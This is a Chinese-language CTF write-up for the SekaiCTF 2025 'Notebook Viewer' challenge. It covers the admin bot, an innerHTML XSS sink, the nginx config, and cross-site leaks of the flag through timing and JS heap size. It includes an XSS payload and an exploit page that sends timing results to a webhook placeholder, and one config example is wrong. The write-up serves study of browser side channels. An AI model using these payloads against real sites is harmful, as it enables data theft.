sekai 2025 Notebook Viewer
CTF题目名称 Notebook Vieweradmin bot${SITE${FLAGframe.html</*,*::before,*::aftermargin;padding;box-sizing;;font-size;;</</// 获取当前页面的URL对象letnewURL;// 获取URL参数中的note字段constget"note";// 获取页面中id为note的元素const'
CTF题目名称 Notebook Viewer
Miku created this notebook, can you extract its secrets?
admin bot
// 安装 puppeteer:npm i puppeteer
// 真正的 admin bot 稍有不同,但执行的步骤相同
// 远程环境运行 Headless Chromium 139,且可以访问互联网
const puppeteer = require("puppeteer");
// FLAG,作为笔记内容
const FLAG = "SEKAI{test_flag}";
// 目标站点地址
const SITE = "https://nbv.chals.sekai.team/";
// 从命令行参数获取目标 URL
const target = process.argv[2];
// 访问函数,自动化浏览器访问指定 URL
const visit = async (url) => {
let browser;
try {
// 启动 puppeteer,无头模式,使用管道通信
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox", // 关闭沙盒
"--disable-setuid-sandbox", // 禁用 setuid 沙盒
"--js-flags=--jitless", // 禁用 JIT
// 加速 DNS 解析
"--host-resolver-rules=MAP nbv-*.chals.sekai.team nbv-0-0.chals.sekai.team",
],
dumpio: true // 输出所有浏览器进程的 stdout/stderr
});
// 新建第一个页面,访问带 FLAG 的 note 页面
let page1 = await browser.newPage();
await page1.goto(`${SITE}/?note=${encodeURIComponent(FLAG)}`, {
waitUntil: "networkidle2" // 等待网络空闲
});
// 新建第二个页面,访问用户传入的 URL
let page2 = await browser.newPage();
await page2.goto(url);
// 等待 15 秒,确保页面加载和脚本执行
await new Promise((res) => setTimeout(res, 15000));
// 关闭浏览器
await browser.close();
browser = null;
} catch (err) {
// 捕获并打印错误
console.log(err);
} finally {
// 确保浏览器被关闭
if (browser) await browser.close();
}
};
// 检查目标 URL 是否以 http/https 开头,防止非法输入
if (target.startsWith('https://') || target.startsWith("http://")) {
visit(target);
}
frame.html
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<p id="note"></p>
<head>
<style>
*,
*::before,
*::after {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: ui-monospace, "SFMono-Regular", Menlo, Monaco, "Courier New", monospace;
font-size: 16px;
line-height: 1;
}
</style>
</head>
<body>
<script>
// 获取当前页面的URL对象
let uri = new URL(location.href);
// 获取URL参数中的note字段
const note = uri.searchParams.get("note");
// 获取页面中id为note的元素
const txt = document.querySelector('#note');
if (note)
// 如果note参数存在,则将其内容显示在页面上
txt.innerHTML = note;
else
// 如果note参数不存在,则根据host解析并显示特定字符
txt.innerHTML = String.fromCharCode(uri.host.split('-')[2].split('.')[0]);
</script>
</body>
</html>
分析配置文件
events {
worker_connections 102400;
}
http {
server {
listen 80;
server_name nbv.chals.sekai.team;
root /app;
index index.html;
location / {
try_files /index.html =404;
add_header Vary "Sec-Fetch-Site" always;
add_header Cache-Control "no-store" always;
add_header Clear-Site-Data "\"*\"" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Referrer-Policy "no-referrer" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Origin-Agent-Cluster "?1" always;
}
}
server {
listen 80;
server_name ~^nbv-[0-9-]+\.chals\.sekai\.team$;
root /app;
index frame.html;
location / {
try_files /frame.html =404;
add_header Vary "Sec-Fetch-Site" always;
add_header Cache-Control "no-store" always;
add_header Clear-Site-Data "\"*\"" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Referrer-Policy "no-referrer" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Origin-Agent-Cluster "?1" always;
}
}
}
这个 Nginx 配置文件主要用于设置两个不同域名的虚拟主机,重点在于安全头和域名匹配。以下是详细解释:
全局配置
events {
worker_connections 102400;
}
- worker_connections 102400:设置每个 worker 进程能同时处理的最大连接数为 102,400(约 10 万),适合高并发场景。
HTTP 块配置
http {
# 第一个 server 块
server {
listen 80;
server_name nbv.chals.sekai.team;
root /app;
index index.html;
location / {
try_files /index.html =404;
# 安全头配置...
}
}
# 第二个 server 块
server {
listen 80;
server_name ~^nbv-[0-9-]+\.chals\.sekai\.team$;
root /app;
index frame.html;
location / {
try_files /frame.html =404;
# 安全头配置...
}
}
}
第一个 Server 块(主站点)
-
域名匹配:
- 监听
nbv.chals.sekai.team
的 80 端口请求
- 监听
-
文件服务:
root /app
:网站根目录为/app
index index.html
:默认访问文件为index.html
try_files /index.html =404
:所有请求都返回index.html
,不存在则报 404
第二个 Server 块(动态子域名站点)
-
域名匹配:
- 使用正则
~^nbv-[0-9-]+\.chals\.sekai\.team$
匹配子域名 - 示例:
nbv-123.chals.sekai.team
或nbv-abc-123.chals.sekai.team
- 使用正则
-
文件服务:
- 默认文件改为
frame.html
- 所有请求返回
frame.html
- 默认文件改为
安全头配置(两个 location 块共用)
add_header Vary "Sec-Fetch-Site" always;
add_header Cache-Control "no-store" always;
add_header Clear-Site-Data "\"*\"" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
add_header Referrer-Policy "no-referrer" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Origin-Agent-Cluster "?1" always;
Vary "Sec-Fetch-Site"
:根据请求来源(同站/跨站)差异化响应Cache-Control: no-store
:完全禁止缓存(敏感数据场景)Clear-Site-Data: "*"
:要求浏览器清除所有本地数据(Cookies/存储等)- 跨域安全策略:
require-corp
:要求跨域资源明确授权cross-origin
:允许跨域加载资源
Referrer-Policy: no-referrer
:不发送 Referer 头X-Content-Type-Options: nosniff
:禁止 MIME 类型嗅探Origin-Agent-Cluster: ?1
:启用进程隔离(防止 Spectre 攻击)
配置核心目的
-
双站点分离:
- 主域名 (
nbv.chals.sekai.team
) → 提供index.html
- 动态子域名 (
nbv-xxx.chals.sekai.team
) → 提供frame.html
- 常用于多租户或沙盒环境
- 主域名 (
-
严格安全控制:
- 禁用缓存、清除本地数据、强制进程隔离等措施
- 适合处理敏感操作(如支付、认证)
-
跨域策略:
- 允许资源跨域加载 (
cross-origin
) - 但要求资源明确授权 (
require-corp
)
- 允许资源跨域加载 (
我们可用从此处可以执行任意js
https://nbv-0-0.chals.sekai.team/?note=<img src=x onerror="alert(1)">
我们如何通过知晓访问了那些url的侧信道来找到秘密中所有可能的字符?
方案1 基于时间的侧信道
利用浏览器的连接复用更快的特性
<!doctype html>
<meta charset="utf-8">
<title>nbv first char timing</title>
<pre id="log">init…</pre>
<script>
const i = 0; // 初始索引值
const CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[\]^_`{|}~'"; // 包含所有可能字符的字符串
const codes = [...new Set([...CHARS].map(c => c.charCodeAt(0)))]; // 将字符转换为唯一的字符编码数组
// 测量获取URL的时间函数
async function tFetch(u){
const t0 = performance.now(); // 记录开始时间
try { await fetch(u, {mode: "no-cors", cache: "force-cache"}); } catch(e) {} // 尝试获取URL,使用no-cors模式和强制缓存
return performance.now() - t0; // 返回经过的时间
}
(async () => {
const timings = []; // 存储所有计时结果的数组
for (const code of codes) {
const url = `https://nbv-${i}-${code}.chals.sekai.team/`; // 构建测试URL,包含字符编码
const t1 = await tFetch(url); // 测量获取时间
const t = t1; // 记录总时间
const guess = String.fromCharCode(code); // 将编码转回字符
timings.push({ guess, t }); // 将字符和对应时间添加到结果数组
}
timings.sort((a,b)=>a.t - b.t); // 按时间升序排序结果
const best = timings[0]; // 获取响应最快的结果
// 定义发送数据到webhook的函数
const post = (obj) => {
const blob = new Blob([JSON.stringify(obj)], {type:"application/json"}); // 创建JSON数据的Blob对象
fetch("<webhook>", {method:"POST", mode:"no-cors", body: blob}); // 发送数据到webhook
};
post({kind:"calibration", timings}); // 发送所有计时结果
})();
</script>
预期方案 检测堆使用大小
performance.memory.usedJSHeapSize
是浏览器 JavaScript 引擎(尤其是 V8,用于 Chrome 和 Edge)提供的一个只读属性,它是 Performance.memory
接口的一部分。
- 作用:它返回一个字节为单位的数值,表示当前 JavaScript 执行上下文(通常是页面或 iframe)所使用的内存总量。
- 所属 API:它是非标准的 Web API,主要由基于 Chromium 的浏览器(如 Chrome, Edge, Opera)提供。Firefox 和 Safari 不支持此功能。
- 用途:它的本意是为开发者提供一个高性能的分析工具,用于监控网页的内存使用情况,帮助诊断内存泄漏和优化性能,而无需使用更重量级的浏览器开发者工具。
示例代码:
// 检查浏览器是否支持
if (performance.memory) {
const usedMemoryMB = performance.memory.usedJSHeapSize / (1024 * 1024);
console.log(`当前页面使用了大约 ${usedMemoryMB.toFixed(2)} MB 的 JavaScript 堆内存。`);
} else {
console.log("您的浏览器不支持 performance.memory API。");
}
-
同站点进程复用:Chrome 的站点隔离把跨站 iframe 放到独立进程。但“同站点”(同 scheme + eTLD+1)的跨源 OOPIF 会被合并进同一渲染进程。
-
共享 JS 堆:同一渲染进程中的所有 frame 共享同一个 V8 JS 堆。performance.memory.usedJSHeapSize 返回的是该“进程级”堆占用的近似值。
-
侧信道:攻击页无法读主域的 DOM/JS,但能读“进程总堆大小”。只要受害页的“秘密依赖行为”会改变进程内对象/脚本/结构的分配,攻击页就能通过“前后差分”观测到。
更多推荐
所有评论(0)